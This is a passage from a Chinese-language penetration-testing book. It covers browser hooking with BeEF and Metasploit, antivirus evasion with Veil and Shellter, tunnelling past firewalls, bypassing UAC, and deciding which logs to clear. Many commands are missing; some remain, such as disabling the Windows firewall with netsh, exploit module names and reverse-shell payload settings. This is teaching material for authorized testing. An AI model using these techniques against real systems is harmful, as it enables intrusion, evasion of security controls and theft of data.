另一个可以快速启动的攻击是老式的网络钓鱼，一旦浏览器被BeEF勾住，将用户重定向到攻击者控制的网站就相当简单了。

图8-26　从历史记录中发现用户名和密码

8.5.1　整合BeEF和Metasploit攻击

BeEF和Metasploit框架均是用Ruby开发的，并且可以一起使用来攻击目标。由于其使用客户端和服务端的指纹识别确定目标，所以browser_autopwn是最成功的攻击之一。

一旦目标上钩，启动Metasploit控制台并使用以下命令配置该攻击：

等待所有相关的漏洞利用加载完毕。在图8-27所示的例子中，有20个漏洞利用被加载。同样也记录了该攻击目标的URL。在这个例子中，目标URL是http://192.168.213.128:8080/Bo4QcxfSINty。

图8-27　加载browser_autopwn攻击

有几种方法可以直接让浏览器点击目标URL，但是，如果我们已经连接了目标浏览器，可以使用BeEF的redirect功能。在BeEF的控制面板中，进入Browser|Hooked Domain|Redirect Browser。当出现提示时，使用此模块指向目标URL，然后执行该攻击。

在Metasploit的控制台中，你将看到所选的攻击针对目标成功发起。一个成功的攻击将打开一个Meterpreter会话。

8.5.2　用BeEF作为隧道代理

隧道是在交付协议（如IP）中封装一个有效负载协议的过程。使用隧道可以在网络上传输不兼容的协议，或者可以绕过被配置为阻止特定协议的防火墙。BeEF可以被配置为隧道代理，模仿一个反向HTTP代理：浏览器会话变成隧道，钩中的浏览器变成出口点。当内部网络已被破解时，这个配置是相当有用的，因为隧道代理可以用于：

1.在受害者浏览器的安全上下文（客户端SSL证书、认证的cookie记录程序、NTLM散列等）中浏览通过认证的站点。

2.使用受害者浏览器的安全上下文，爬取已经上钩的域。

3.方便工具（如SQL注入）的使用。

要使用隧道代理，选中你希望作为目标的钩中的浏览器，并右键单击其IP地址。在弹出的对话框中，选择Use as Proxy选项，如图8-28所示。

图8-28　使用隧道代理

配置浏览器，使用BeEF隧道代理作为HTTP代理。在默认情况下，该代理的地址是127.0.0.1，端口号是6789。

如果你使用配置为HTTP代理的浏览器访问一个目标网站，所有生成的请求/响应对将存储在BeEF的数据库中，可以导航到Rider|History对其进行分析，日志摘录如图8-29所示。

图8-29　日志摘录

一旦攻击完成，用一些机制来确保该连接被持久保留，其中包括：

确认关闭（Confirm close）：当受害者试图关闭一个选项卡时，这个模块会向他们呈现一个确认导航：Are you sure you want to leave this page？（你确定想离开这个页面吗？）。如果用户选择Leave this Page（离开这个页面），将不会生效，会继续弹出确认导航对话框。

下弹出模块（Pop-under module）：这是配置在config.yaml中的自动运行模块。如果受害者关闭主浏览器选项卡，此模块会尝试打开一个小的下弹出窗口，用于保持钩中浏览器。这可以通过弹出窗口阻止程序来阻止。

iFrame键盘记录器（iFrame keylogger）：重写所有的网页链接到iFrame，并覆盖100%的原始高度和宽度。为实现最大化效果，它应该附加到JavaScript键盘记录器中。理想情况下，你会加载钩中域的登录页面。

浏览器中间人（Man-in-the-browser）：此模块可确保受害者在任何时间点击任何链接后，出现的下一个页面也将被钩。避免这种行为的唯一途径是在地址栏中输入一个新的地址。

最后，虽然BeEF提供了一个极好的模块系列来执行侦察，同时用于杀链的利用和后期利用阶段，但BeEF已知的默认活动（/hook.js和服务器头信息）是用于检测攻击，并降低其有效性。测试人员将不得不伪装自己的攻击，使用Base64编码、空格编码、随机的变量和删除注释等技术，以确保其在未来有完整的有效性。

8.6　小结

在本章中，我们研究了针对系统的攻击，这些系统通常是从被保护网络中孤立出来的。这些客户端攻击重点放在特定应用程序的漏洞上。我们学习了如何在任何可执行文件中创建后门，还回顾了恶意脚本，尤其是VBScript和PowerShell，其在测试和破坏Windows网络中特别有用。然后，我们也研究了Kali中新版Metasploit的跨站点脚本框架，它可以破解XSS漏洞，以及BeEF工具，其目标是攻击网络浏览器的漏洞。XSSF和BeEF与侦察、利用和后期利用工具在Kali上的整合集成，提供了综合的攻击平台。

在第9章中，我们将把更多的精力放在如何绕过网络接入控制（Network Access Control，NAC）、杀毒软件、用户账户控制（User Account Control，UAC）和Windows操作系统控制上。我们将探索Veil框架和Shellter等工具集。

第9章　绕过安全控制

2018年，由于各种安全事件，特别是各种复杂的恶意软件，下一代杀毒软件和终端检测与响应（EDR）工具取得了显著的进展。话虽如此，大多数时候，当测试人员获取了root权限或连接到内部网络时，他们认为就已经完成了测试，假定已经拥有了完全破解网络或企业所需的知识和工具集。

绕过安全控制以评估目标组织的预防和检测技术，是渗透测试活动中一个被忽视的方面。作为杀链方法至关重要的一部分，在所有的渗透测试活动中，渗透测试人员或攻击者需要了解在对目标网络或系统进行主动攻击时，使入侵目标失效的原因是什么，并且绕过目标组织设置的安全控制。本章我们将回顾现有的不同类型的安全控制，确定克服这些控制的系统过程，并使用Kali工具集中的工具进行演示。

在本章中，你将学习以下内容：

·绕过网络访问控制（Network Access Control，NAC）。

·使用不同的框架绕过杀毒软件（AV）

·绕过应用程序级控制。

·绕过Windows特定的操作系统安全控制。

9.1　绕过网络访问控制

NAC按照IEEE802.1X标准的基本要求运行。大多数公司都实现了用NAC保护所有的网络节点，如交换机、路由器、防火墙、服务器，以及更重要的端点。恰当的NAC意味着设置好了防止入侵的控制策略，并确定好了谁可以访问什么内容。在本节中，我们将深入研究攻击者或渗透测试人员在RTE或渗透测试中遇到的不同类型的NAC。

由于NAC没有具体的共同标准或标准化，各供应商的实现方式都有所不同。例如，思科提供的是思科网络准入控制（Cisco Network Admission Control），微软提供的是微软网络访问保护（Microsoft Network Access Protection）。NAC的主要目的是控制可以连接的设备/元素，然后确保它们是兼容的。NAC保护可分为两个不同的类别：

·前准入NAC。

·后准入NAC。

图9-1提供了一个攻击者可以在内部渗透测试或后开发阶段，按杀链方法执行的思维导图活动。

图9-1　网络访问控制思维导图

9.1.1　前准入NAC

在前准入NAC中，为了便于向网络添加新设备，基本上所有的控制都是按照安全要求布置的。接下来的部分将介绍绕过它们的不同方法。

添加新元素

通常，公司中任何已经部署的NAC都能够识别添加到网络中的任何新元素（设备）。在红队训练或内部渗透测试过程中，攻击者通常会添加设备到网络（如pwnexpress NAC），并通过在设备上运行Kali Linux绕过NAC设定的限制，保持对添加设备的shell访问。

在6.4节中，我们已经看到了如何绕过MAC地址认证，并通过macchanger来让系统进入网络。

识别规则

识别规则被认为是理解规则如何应用的艺术，尤其是当内部系统隐藏在NAT后面的时候。例如，如果你能把Kali攻击箱作为一个内部网络的元素，通过MAC过滤器或物理接入局域网电缆，那么就完成了使用本地IP地址将该元素添加到企业网络中，如图9-2所示。DHCP信息被自动地更新到/etc/resolv.conf文件中。

许多企业使用DHCP代理来保护自己，可以通过添加一个静态IP地址来绕过它。某些DHCP允许通过启用HTTP认证来将元素添加到网络，利用中间人攻击就可以捕获这些信息。

异常

根据经验，我们已经注意到，任何对规则列表而言有明显异常的组织都将被应用访问控制。例如，如果应用程序端口允许一定范围内的IP访问，那么一个经过认证的元素或端点就可以模拟异常，例如路由。

图9-2　接入企业网

隔离规则

在渗透测试期间识别隔离规则，将测试攻击者规避企业设置的安全控制的能力。

禁用端点安全

攻击者在前准入NAC中可能遇到的一个问题是，当元素不兼容时，端点将被禁用。例如，试图连接到网络而没有安装杀毒软件的元素将被自动隔离或禁用端口。

预防补救

大多数端点都有一个杀毒软件和预定义的补救活动。例如，执行端口扫描的IP地址将会被阻塞一段时间，而流量将被杀毒软件阻塞。

添加异常

如果已经访问到一个远程命令shell，添加自己的规则集是很重要的。

例如，可以利用Windows命令行实用程序netsh，通过防火墙添加一个远程桌面，相关命令如下。

成功执行上述命令后，攻击者可以看到如图9-3所示的画面。

图9-3　使用netsh命令

一个非隐蔽方法是，在旧版的Windows系统中运行netsh advfirewall set allprofiles state off，或者netsh firewall set opmode disable禁用所有配置文件。

9.1.2　后准入NAC

后准入NAC是一组已经被授权的设备，它们位于交换机和分发交换机之间，而攻击者可以注意到的显著保护措施是绕过防火墙和入侵预防系统。

旁路隔离

在高级主机入侵预防的情况下，如果端点丢失了安全配置，或者被破坏、被感染，可能有一条规则可以将端点隔离到特定的段中。这将为攻击者提供机会，使他们能够利用特定段的所有系统。

蜜罐探测

我们注意到，一些公司还实施了先进的保护机制，将被感染的系统或服务器指向一个蜜罐，并且设置一个陷阱，了解入侵感染或攻击背后的实际动机。

测试者可以识别这些蜜罐主机，因为它们通常以打开所有端口作为响应。

9.2　使用文件绕过杀毒软件

杀链的利用阶段是最危险的一个阶段，渗透测试人员或攻击者直接与目标网络或系统交互，他们的活动很可能会被记录，他们的身份也很可能会被发现。因此，必须采用秘密技术，以最大限度地减少测试人员暴露的风险。虽然没有具体的方法或工具是无法检测的，但是，改变一些配置，以及利用特别的工具，将使检测更加困难。

当考虑远程攻击时，大多数网络和系统采用不同类型的防御控制，以减少被攻击的风险。网络设备包括路由器、防火墙、入侵检测和预防系统，以及恶意软件检测工具。

为了方便漏洞利用，大多数框架纳入了使攻击具有某种隐身的功能。Metasploit框架允许你手动设置基于利用漏洞利用（exploit-by-exploit）的规避因素。然而，确定那一个因素（如加密、端口号、文件名和其他因素）是困难的，同时，改变每一个特定的ID也是困难的。该Metasploit框架还允许目标和攻击系统之间的通信是加密的（Windows/meterpreter/reverse_tcp_rc4负载），使得检测到所利用的负载变得非常困难。

Metasploit Pro（Nexpose）可以在Kali发行版上试用，包括以下绕过入侵检测系统的具体方法：

·可以在发现扫描（Discovery Scan）设置中调整扫描速度，通过将速度设置为sneaky或paranoid降低与目标的交互速度。

·通过发送较小的TCP数据包，并增加数据包之间的传输时间，从而实现传输规避。

·减少针对目标系统的同时攻击的数量。

·有一些应用特定的规避选项，使得涉及DCERPC、HTTP和SMB的利用能自动配置。

大多数杀毒软件依靠签名匹配来定位病毒、勒索软件或其他恶意软件。它们会就每一个可执行文件检查已知为病毒（签名）的代码串，当检测到一个可疑的字符串时，创建一个警报。许多Metasploit的攻击所依赖的文件，可能都会随着时间的推移，被杀毒软件供应商识别到其签名。

对此，Metasploit框架允许独立的可执行文件通过编码来绕过检测。不幸的是，这些可执行文件在公共站点（如virustotal.com）的扩展测试已经降低了其绕过AV软件的有效性。然而，这就产生了如Veil和Shellter这样的框架，通过将它们直接上传到VirusTotal中交叉验证可执行程序来绕过AV软件，然后再将后门植入目标环境中。

9.2.1　利用Veil框架

Veil框架（Veil-Evasion）是另一个AV-Evasion框架（www.veil-framework.com），由Chris Truncer编写，为针对终端和服务器的独立的漏洞利用提供有效的检测和保护。Veil的最新版本是2018年12月发布的3.1.11版。Veil框架包括两个工具：Evasion和Ordnance。

Evasion在一个框架中汇集了多种技术以简化管理，而Ordnance通过生成支持负载的shellcode利用已知漏洞实施进一步的攻击。

作为一个框架，Veil具有一些特性，主要包括如下几点：

·它可以让自定义的shellcode与多种编程语言结合，包括C、C#、Python。

·它可以使用Metasploit生成的shellcode，或者你也可以使用Ordnance创建自己的。

·它可以集成第三方工具，如Hyperion（使用AES128位加密EXE文件）、PEScrambler、BackDoor Factory。

·负载可以被生成并无缝代入到所有PsExec、Python和.exe调用。

·用户可以重用shellcode或实现他们自己的加密方法。

·其功能性可以脚本化以自动部署。

·Veil在不断发展，它的框架已经有扩展模块，如Veil-Evasion-Catapult（负载交付系统）。

Veil可以生成漏洞利用负载，独立的负载包括以下选项：

·调用shellcode的最小Python安装，它会上传一个最小的Python.zip安装文件和7Zip二进制文件。Python环境被解压缩，调用shellcode。因为与受害者交互的唯一文件是值得信赖的Python库和解析器，受害者的AV不检测任何不寻常的活动。

·Sethc后门，它将配置受害者的注册表，启动粘滞键RDP后门。

·PowerShell的shellcode注入。

当创建负载后，可以用以下两种方法交付到目标：

·使用Impacket和PTH工具包上传并执行。

·UNC调用。

Veil框架可从Kali库中获得，在提示符下简单地输入apt-get install veil命令即可自动安装。

在安装过程中，如果你收到任何错误，重新运行：/usr/share/veil/config/setup/setup.sh--force--silent脚本。

Veil为用户提供了一个主菜单，包含两个可选择的工具，几个已经加载的负载模块，以及一些可用命令。输入use Evasion将进入Evasion工具，list命令将列出所有可用负载。Veil框架的初始启动界面如图9-4所示。

图9-4　Veil-Evasion的初始启动界面

Veil框架正在快速发展，几乎每个月都有重大的发布，重要的升级更是频繁地发生。目前，Evasion工具中有41个负载被设计用于采用加密或直接注入内存空间的技术绕过杀毒软件。这些负载如图9-5所示。

图9-5　Evasion工具中的负载

要获得一个特定的负载信息，输入info<payload number/payload name>，或者输入info<tab>，自动填充可用负载的信息。你还可以输入列表中的数字。在图9-6的例子中，我们通过运行use29选择python/shellcode_inject/aes_encrypt负载。

图9-6　python/shellcode_inject/aes_encrypt负载

利用包括expire_payload选项。如果模块不能被目标用户在指定的时间内执行，它将呈现为不可操作，并且还包括CLICKTRACK，表示用户需要点击多少次才能运行负载。此功能有助于攻击的隐蔽性。

部分所需选项通过默认值和描述已经预填。如果所需的值不是默认值，则测试人员需在负载生成前输入一个值。要设置一个选项的值，输入set<option name>，然后输入期望值。如果要接受默认选项并创建该利用时，只需在命令提示行输入generate。

如果负载使用shellcode，将为你呈现shellcode菜单，如图9-7所示，你将可以从中选择选项。

图9-7　选择负载

默认情况下，具体的shellcode是在Ordnance中生成的。如果遇到错误你可以选择msfvenom（默认shellcode）或自定义shellcode。如果选择了自定义shellcode选项，以\x01\x02的形式输入shellcode，不能有引号和换行符（\n）。如果选择了默认msfvenom，你将会看到默认负载选项windows/meterpreter/reverse_tcp。如果你想使用另一个负载，按Tab键来显示所有可用负载。如图9-8所示。

图9-8　显示可用负载

在下面的例子中，使用tab命令来展示一些可用的负载。这里我们选择了默认负载（windows/meterpreter/reverse_https），如图9-9所示。

图9-9　选择默认负载

然后，用户将看到输出菜单上显示一个提示，在这里选择所生成的负载文件的基本名。如果负载是基于Python的，并且你选择了compile_to_exe选项，用户将可以使用Pyinstaller创建EXE文件，或者直接生成Py2Exe文件。生成可执行文件后，你将看到如图9-10所示的画面。

使用以下选项还可以直接从命令行创建该利用：

一旦一个漏洞利用被创建，测试人员应该在VirusTotal上验证该负载，以确保负载放在目标系统中时不会触发警报。如果负载样本被直接提交到VirusTotal，并且它的行为被标记为恶意软件，那么，在短短一个小时内，杀毒软件供应商就将针对该提交发布签名更新。这就是为什么用户被明确警告“不要提交样本到任何在线扫描器！”的信息。

图9-10　生成可执行文件

Veil-Evasion允许测试人员针对VirusTotal使用安全检查。当创建了任何负载时，将创建一个SHA1散列，并添加到hashes.txt文件，位于~/veil-output目录。测试人员可以调用checkvt脚本提交散列到VirusTotal，VirusTotal会就其恶意软件数据库检查该SHA1散列值。如果一个Veil-Evasion负载触发了一个匹配，那么测试人员就知道它可以被目标系统检测到。如果它不触发匹配，那么该漏洞利用负载就可以绕过杀毒软件。一个使用checkvt命令的成功查找（没有被AV检测到）如图9-11所示。

图9-11　VirusTotal匹配

目前，测试可以支持接下来这种情况，如果checkvt在VirusTotal中未找到匹配项，则目标的杀毒软件将检测不到该负载。为了在Metasploit框架中使用它，使用exploit/multi/handler并将PAYLOAD设置成windows/meterpreter/reverse_https（与Veil-Evasion负载选项相同），LHOST及LPORT也与Veil-Evasion中的相同。一旦监听器工作，将发送漏洞利用程序至目标系统。当监听器调用它后，它将建立一个反向shell回攻击者的系统。

9.2.2　利用Shellter

Shellter是另一种杀毒软件规避工具，它可以动态地感染PE，也可以用于将shell代码注入任何32位的原生Windows应用程序中。它允许攻击者定制有效负载或使用Metasploit框架。大多数反病毒系统将无法识别恶意的可执行文件，这取决于攻击者如何重新编码大量的签名。

可以在终端上运行apt-get install shellter来安装Shellter。一旦安装了应用程序，我们就可以通过在终端上使用shellter命令来打开Shellter，并能够看到准备好在任何可执行文件上创建一个后门的截图，如图9-12所示。

图9-12　准备为可执行文件创建后门

启动Shellter后，以下是创建恶意可执行文件所涉及的典型步骤：

1.攻击者可以选择自动（A）或者手动（M），以及帮助（H）。为了演示，我们将使用自动模式。

2.下一步是提供PE目标文件，攻击者可以选择任何.exe文件或者利用/usr/share/windows-binaries/中的可执行文件。

3.一旦提供了PE目标文件的位置，Shellter就能够将PE文件分解，如图9-13所示。

图9-13　分解PE文件

4.分解完成后，Shellter将提供是否启用隐身模式的选项。

5.选择隐身模式后，你就可以将所列的负载注入相同的PE文件中，如图9-14所示，或者你可以选c自定义负载。

图9-14　选择隐身模式

6.在这个例子中，我们利用Meterpreter_reverse_HTTPS，并提供LHOST和LPORT，如图9-15所示。

图9-15　使用Meterpreter_reverse_HTTPS的截图

7.所有需要的信息都提供给了Shellter，提供作为输入的PE文件现在被注入了负载，如图9-16所示。

现在，最终的可执行文件已经准备好被杀毒软件扫描了。在这个例子中，我们将使用Windows Bitdefender来扫描可执行文件，如图9-17所示。

一旦这个可执行文件被发送给受害者，攻击者就可以根据负载打开监听器。在我们的示例中，LHOST是192.168.0.24，LPORT是443：

图9-16　PE文件完成注入

图9-17　使用Windows Bitdefender扫描文件

现在，你可以将前面的命令列表保存到名为listener.rc的文件中，通过运行msfconsole-r listener.rc来使用Metasploit运行它。一旦受害者没有被杀毒软件或任何安全控制阻止而打开了可执行文件，它就应该向攻击者的IP打开通道，而不会有任何麻烦，如图9-18所示。

图9-18　入侵成功

这就是构建一个后门并将其植入受害者系统的有效方法。

大多数杀毒软件能够抓取反向Meterpreter shell。建议渗透测试人员在真正使用前，进行多次编码。

9.3　无文件方式绕过杀毒软件

大多数机构允许用户访问内部架构，或者具有扁平的网络架构。成熟的机构或者银行的网络是隔离的，他们会为内部防火墙和终端保护方案设置限制规则，以禁用不常用的端口，比如禁用4444、5444端口，或者禁用除了80和443以外的所有端口，以减少数据包。因此，建议在测试期间对所有监听器使用80或443端口。接下来我们将学习一些绕过安全控制、拿下系统的快速方案。

9.4　绕过应用程序级控制

绕过应用程序控制是利用后的一项琐碎活动。有多个应用程序级保护/控制存在。在本节中，我们将深入研究常见的应用程序级控制和策略，以绕过它们，并建立从企业网络到互联网的连接。

利用SSH隧道穿透客户端防火墙

在将自己添加到内部网络之后，最主要的事情之一就是如何使用SSH隧道穿透防火墙。现在我们将建立一个反向隧道，从外部互联网绕过所有的安全控制进入攻击箱。

由内到外

在下面的例子中，Kali Linux在61.x.x.142的互联网云上运行，在端口443上运行SSH服务（确保你更改了指向SSH的网络服务器设置）。从公司内部网络来看，除了80和443端口外，所有的端口都在防火墙级别上封锁，这意味着内部人员能够从公司网络访问互联网。攻击者可以通过443端口直接访问SSH服务来使用Kali Linux。从技术上讲，这家公司的网络流量（见图9-19）是由内到外的。

图9-19　一个公司的网络流量

下一步，你应该能够使用互联网系统与内部网络进行通信。

绕过URL过滤机制

你可以利用现有的SSH连接，并使用端口转发技术来绕过安全策略或本地设备的任何限制。

当我们尝试访问下面的例子时，显示有一个URL过滤设备，它阻止我们访问某些网站，如图9-20所示。

图9-20　有URL过滤设备的系统

这可以用一个隧道工具来绕过。在本例中，我们将使用一个可移植的软件PuTTY：

1.打开PuTTY菜单。

2.单击连接（Connection）选项卡上的隧道（Tunnels）。

3.输入本地端口为8090，并将远程端口添加为任意一个，如图9-21所示。

这保证了内部到外部系统的互联网访问，意味着端口8090上的所有流量现在可以通过在61.x.x.142上的外部系统进行转发。

4.下一步是找到Internet Options|LAN connections|Advanced|SOCKs，在代理地址中（Proxy address to use）输入127.0.0.1，在端口上输入8090，如图9-22所示。

图9-21　添加远程端口

图9-22　输入代理地址和端口号

现在代理指向了远程机器，你将可以访问该网站，没有来自代理或任何URL过滤设备的任何阻挡，如图9-23所示。通过这种方式，渗透测试人员可以绕过URL过滤，并将数据泄漏到公共云，或黑客托管的计算机，或被屏蔽的网站。

图9-23　完成任务

由外到内

为了建立一个从外部到内部系统的稳定连接，必须使用SSH建立一个隧道：

图9-24显示了使用SSH从内部到外部主机的登录，并在本地主机上打开了一个2210端口，以转发SSH。

图9-24　使用SSH

使用反向SSH隧道以绕过任何防火墙限制，从而建立一个稳定的反向连接。在对远程系统进行身份认证后，运行以下命令：

在完成内部访问后，剩下的就是维持其持久性以窃取数据，以及维持其不被任何防火墙或网络保护设备检测到。

测试人员必须通过编辑/etc/ssh/ssh_config，设置GatewayPorts为yes来改变SSH测试。

9.5　绕过Windows操作系统控制

在每个企业环境中，我们看到几乎为用户提供的所有终端都使用的是Windows操作系统。因此，处理Windows漏洞利用的可能性总是很高的。在本节中，我们将重点讨论一些特定于Windows操作系统的安全控制，以及如何绕过它们以对终端进行访问。

9.5.1　用户账户控制

当前有52种不同的方式绕过Windows用户账户控制（UAC），参见https://github.com/hfiref0x/UACME。该项目主要关注恶意软件的逆向工程，并提供C#和C语言编写的源码，攻击者只需编译代码就可以发起攻击。

微软引进了安全控制策略，从高、中、低三个不同的完整性级别上来控制运行进程。一个高等级别的进程具有管理员权限，一个中等级别的进程拥有一个标准用户的权限，一个低级别的进程的权限是受限的，这样可以保证当系统受到威胁时，被破解的程序带来的损害是最小的。

要执行任何特权操作，程序必须以管理员的身份运行，并且符合UAC的设置。UAC有以下4个设置：

·始终通知：这是最严格的设置，在任何时刻，有程序要使用更高级别权限时，它都会提示本地用户。

·仅在程序试图更改我的计算机时通知我：这是UAC的默认设置。当原生的Windows程序请求更高级别权限时，不通知用户。但是，如果第三方程序要求提升权限，它会提示。

·只有当程序试图更改我的计算机时通知我（不降低桌面的亮度）：这与默认设置相同，但当提示用户时不降低系统显示器的亮度。

·从不提示：此选项将恢复系统到Vista以前的版本。如果该用户是管理员，所有的程序都将以高度完整性运行。

因此，在利用完成之后，测试人员（以及攻击者）需要知道以下两件事：

·哪个用户是系统已经识别的用户？

·在该系统中，这些用户具有什么权限？

这些可以通过以下命令来获得：

一个被入侵的系统可操作的内容是非常完整的，如图9-25中由Mandatory Label\High Mandatory Level Label展示的内容所示。

如果Label是Mandatory Label\Medium Mandatory Level，测试人员需要从标准用户权限提升为管理员权限，才能成功执行许多利用后的步骤。

提权的首选是在Metasploit中运行exploit/windows/local/ask来实施RunAs攻击。这将创建一个可执行文件，当其被调用时，它将运行一个程序来请求提升权限。该可执行文件可通过使用EXE：：Custom选项创建，或者利用Veil框架加密以避免被本地杀毒软件检测到。

RunAs攻击的缺点是，系统会对用户发出提醒：有来自未知发布者的程序企图修改计算机设置。此警报可能会导致权限提升被认定为攻击。如图9-26所示。

图9-25　使用C:\>whoami/groups获得信息

图9-26　系统提示警告

如果系统当前的用户在管理员组，或者UAC设置为默认，即仅在程序试图更改我的计算机时通知我（如果设置为始终通知，就无法完成），攻击者就可以使用Metasploit的exploit/windows/local/bypassuac模块来提升其特权。

在图9-27中，我们可以看到IP192.168.0.119（受害者）已经被成功地破解，并且在8443上有一个HTTPS的反向shell连接到攻击者IP192.168.0.120。

为了确保你能够完全控制远程机器，你必须要获得管理级别的权限。攻击者通常利用getsystem将他们当前的能力升级到系统级别。

通常，如果该利用在用户的上下文中获得成功，我们可能会收到来自Meterpreter会话的错误消息，如图9-28所示。

图9-27　成功入侵受害者IP

图9-28　收到的错误信息

bypassuac模块会在目标系统上创建多个工件，它们可以被大多数杀毒软件识别。注意，这仅在用户为本地管理员时有效。现在，让我们使用Windows本地利用来绕过UAC，如图9-29所示。

图9-29　绕过UAC

一旦会话被设置为一个活动会话，攻击者将可以绕过Windows操作系统的UAC设置，如图9-30所示。

一次成功的绕过将为攻击者提供另一个带有系统级权限的meterpreter会话，如图9-31所示。

另一个本地利用模块（exploit/windows/local/bypassuac_fodhelper for windows 10UAC）劫持当前用户注册表里的一个特定键值，并插入一个自定义命令，一旦Windows运行fodhelper.exe应用就会自动调用该命令。由于它不触碰硬盘，所以最大限度地降低了被杀毒软件检测到的概率。

图9-30　绕过UAC设置

图9-31　带有系统级权限的meterpreter会话

试图绕过UAC控制时的一些注意事项如下：

·Windows 8和Windows 10仍然很容易受到这种攻击。如果有人尝试攻击，在攻击者提高权限前，用户会被提示点击确定按钮，很难做到隐身攻击。攻击者可以选择使用exploit/windows/local/ask来修改攻击以提高成功率。

·考虑到系统到系统的移动（水平/横向升级），如果当前用户是拥有其他系统本地管理权限的域用户，可以使用现有的身份认证令牌来获取访问并绕过UAC。常见的这种攻击之一是使用Metasploit的exploit/windows/local/bypassuac。

·另一个针对Windows 10系统的模块是exploit/windows/local/bypassuac_sluihijack。

9.5.2　采用无文件技术

传统的终端安全方法是扫描硬盘上下载的所有文件，并根据签名和行为隔离可疑文件。然而，无文件技术的概念是攻击者不在目标系统留下任何可执行文件，取而代之的是，利用已经存在的可执行文件实施攻击。本节我们将学习几种绕过安全控制，获取系统访问权限的无文件攻击方法。

如图9-32所示，利用现有的shell access攻击，我们可以将文件上传至目标系统。

这里是PowerShell命令的一些例子，其运行在目标主机，且一般不会被传统的杀毒软件或者终端保护程序发现，因为它们看起来就像是合法的HTTP通信：

图9-32　利用shell access攻击上传文件

利用fodhelper绕过Windows 10的UAC

fodhelper.exe是Windows系统的一个可执行文件，主要用于管理Windows设置中的特征。如果攻击者有目标系统受限的shell访问权限或者一般用户的访问权限，那么他们就可以利用fodhelper.exe绕过UAC。这可以通过在命令行运行以下PowerShell脚本实现，并获得系统权限访问。

当HTTP Web服务器由攻击者托管时，可以通过以下步骤实现绕过UAC：

1.下载绕过脚本（https://raw.githubusercontent.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-TestingThird-Edition/master/Chapter%2009/Bypass/Fodhelper-Bypass.ps1）

2.在Kali Linux中启用apache2服务。

3.运行cp FodhelperBypass.ps1/var/www/html/anyfolder/，然后运行如下脚本：

上述脚本将以一个高级权限打开Empire PowerShell的一个新的shell。我们将在第10章中详细介绍如何使用Empire。

利用Disk Cleanup绕过Windows 10的UAC

本方法涉及磁盘清理（Disk Cleanup），它是Windows用以释放硬盘空间的功能。Windows 10的默认任务管理器显示有一个名为SilentCleanup的任务，即便是一个无权限用户来执行，它也会以最高权限运行cleanmgr.exe来执行磁盘清理进程。该进程会在Temp目录下创建一个名为GUID的新文件夹，并存放一个可执行文件和多个DLL文件。

图9-33显示了启动该可执行文件，并依次加载DLL文件。

图9-33　启动可执行文件并加载DLL文件

9.5.3　其他Windows特定的操作系统控制

Windows特定的操作系统控制可以进一步分为以下五个不同的类别：

·访问和授权。

·加密。

·系统安全。

·通信安全。

·审计和日志记录。

访问和授权

大多数的漏洞利用都是在安全控制的访问和授权部分执行的，目的是获得对系统的访问和执行未经授权的活动。一些具体的控制措施是：

·添加用户访问凭据管理器（Credential Manager），这将允许用户以可信的调用者的身份创建应用程序。作为回报，该账户可以在同一系统上获取另一个用户的凭证。作为一个凭据管理器的例子，该系统的用户将他的个人信息添加到通用凭证（Generic Credential）部分，如图9-34所示。

·通过基于云的账户登录，在默认情况下，一些Windows操作系统允许使用微软账户。

·不要忘记遗留系统中的访客账户，以及被用作服务账户来运行预定作业和其他服务的锁定账户。

·打印驱动程序的安装可以帮助攻击者绕过机器上设置的安全控制。攻击者可以将驱动程序的安装替换为恶意的可执行文件，从而为系统提供一个持久的后门。

·匿名安全识别（Security Identification，SID）、命名管道、SAM账户的枚举，这些控制要么通过域应用于连接到网络的系统，要么作为单独的安全设置。

·远程访问注册表路径和子路径。

图9-34　添加凭证

加密

Microsoft Windows所采用的加密技术通常使用在密码存储、NTLM会话和安全通道数据上。

攻击者可以要么利用较弱的密码套件，要么禁用该功能本身，很大可能成功地绕过加密。

系统安全

系统级安全主要是围绕本地系统级漏洞利用和要绕过的控制：

·时区同步——在大多数组织中，所有的端点都将与它们的主域同步时间。这为攻击者提供了一个机会，使他们可以消除证据或追踪漏洞。

·页面文件创建，在内存中锁定页面并创建令牌对象——一些令牌对象和页面文件在系统级运行。其中一个经典的攻击是休眠文件攻击。

·当使用本地管理权限获得目标系统的访问之后，渗透测试人员首先需要考虑的事情之一是：添加他们自己到域认证，提升权限，将用户添加到域，创建全局对象、符号链接，从而实现对域的全面访问。

·加载和卸载设备驱动程序并设置固件环境值。

·为所有系统用户启用自动管理登录。

通信安全

通常，在通信安全中，大多数的附加网络设备都是必备的，但是，对于Windows系统而言，数字签名证书和服务原则名称（Service Principle Name，SPN）服务器，以及目标名称验证，将是渗透测试人员可以利用来开发自定义漏洞利用工具的重要手段。第10章我们将学习如何利用SPN实施攻击。

审计和日志记录

Windows的大多数默认配置控制都是在系统启用日志中。以下是任何组织都可以启用的日志列表，可以在事故/取证分析中利用这些信息：

·凭据验证

·计算机账户管理

·分配组管理

·其他账户管理级别

·安全组管理

·用户账户管理

·进程创建

·指令服务访问和更改

·账户锁定/注销/登录/特殊登录

·可移动存储

·策略更改

·安全状态更改

这提供了一个清晰的视图，即渗透测试人员必须考虑在杀链方法的后期利用阶段，要清除哪些类型的日志。

9.6　小结

在本章中，我们深入探讨了克服组织作为其内部保护的一部分的安全控制的系统过程。我们关注的是不同类型的网络访问控制绕过机制，如何利用隧道绕过防火墙建立到外部网络的连接，并学习了如何在网络、应用程序和操作系统控制的各个层面上，确保我们的利用能够成功地到达目标系统。此外，我们还回顾了如何利用Veil-Evasion和Shellter工具来绕过反病毒检测。我们还看到了使用Metasploit框架规避不同的Windows操作系统安全控制的方法，如UAC、应用白名单，以及其他的活动目录特定控制。

在第10章中，我们将研究各种系统漏洞利用方法，包括公共漏洞利用、框架利用，如Metasploit框架Empire PowerShell项目，以及开发基于Windows的漏洞利用。

第10章　利用

传统上，渗透测试的关键目的是利用数据系统并获取凭证，或者直接访问感兴趣的数据。正是利用赋予了渗透测试其意义。在本章中，我们将研究各种利用系统的方法，包括公开漏洞利用和可用的漏洞利用框架。到本章的结尾，你应该能够理解：

·Metasploit框架。

·使用Metasploit的目标漏洞利用。

·利用单行命令接管目标。

·使用公开漏洞利用。

·开发Windows特定的漏洞利用示例。

10.1　Metasploit框架

Metasploit框架（Metasploit Framework，MSF）是一个开源工具，旨在便利渗透测试。它是用Ruby语言编写，采用模块化的方法来方便杀链中漏洞利用阶段的利用活动。这使得它易于开发和编写代码，而且可以更容易地实现复杂的攻击。

图10-1是Metasploit框架的体系结构和组成。

这个框架可以分成三个主要部分：

·库

·接口

·模块

